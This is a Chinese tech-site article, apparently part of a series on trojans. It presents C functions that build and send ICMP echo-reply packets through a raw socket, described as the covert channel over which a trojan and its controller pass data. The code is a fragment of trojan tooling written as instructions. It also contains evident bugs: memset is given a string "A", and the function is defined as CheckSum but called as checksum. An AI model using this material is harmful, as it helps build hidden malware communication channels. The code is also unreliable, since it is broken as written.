科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道揭开木马的神秘面纱之新型木马篇(2)

揭开木马的神秘面纱之新型木马篇(2)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

随后你可以使用fill_icmp_data子程序填充ICMP报文段:

来源:论坛整理 2008年7月19日

关键字: 病毒查杀 病毒 木马

  • 评论
  • 分享微博
  • 分享邮件
 随后你可以使用fill_icmp_data子程序填充ICMP报文段:

fill_icmp_data函数:

void fill_icmp_data(char * icmp_data, int datasize)

{

 IcmpHeader *icmp_hdr;

 char *datapart;

 icmp_hdr = (IcmpHeader*)icmp_data;

 icmp_hdr->i_type = ICMP_ECHOREPLY; //类型为ICMP_ECHOREPLY

 icmp_hdr->i_code = 0;

 icmp_hdr->i_id = (USHORT)GetCurrentProcessId(); //识别号为进程号

 icmp_hdr->i_cksum = 0; //校验和初始化

 icmp_hdr->i_seq = 0; //序列号初始化

 datapart = icmp_data + sizeof(IcmpHeader); //数据端的地址为icmp报文

                        地址加上ICMP的首部长度

 memset(datapart,"A", datasize - sizeof(IcmpHeader)); //这里我填充的数据

                全部为"A",你可以填充任何代码和数据,实际上

                木马和控制端之间就是通过数据段传递数据的。

}

  再使用CheckSum子程序计算ICMP校验和 调用方法:

((IcmpHeader*)icmp_data)->i_cksum
= checksum((USHORT*)icmp_data, datasize);

CheckSum函数:

USHORT CheckSum (USHORT *buffer, int size)

{

 unsigned long cksum=0;

 while(size >1)

  {

    cksum+=*buffer++;

    size -=sizeof(USHORT);

  }

  if(size ) cksum += *(UCHAR*)buffer;

  cksum = (cksum >> 16) + (cksum & 0xffff);

  cksum += (cksum >>16);

  return (USHORT)(~cksum);

}// CheckSum函数是标准的校验和函数,你也可以用优化过的任何校验和函数来代替它

  随后,就可以通过sendto函数发送ICMP_ECHOREPLY报文:

  sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));
    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章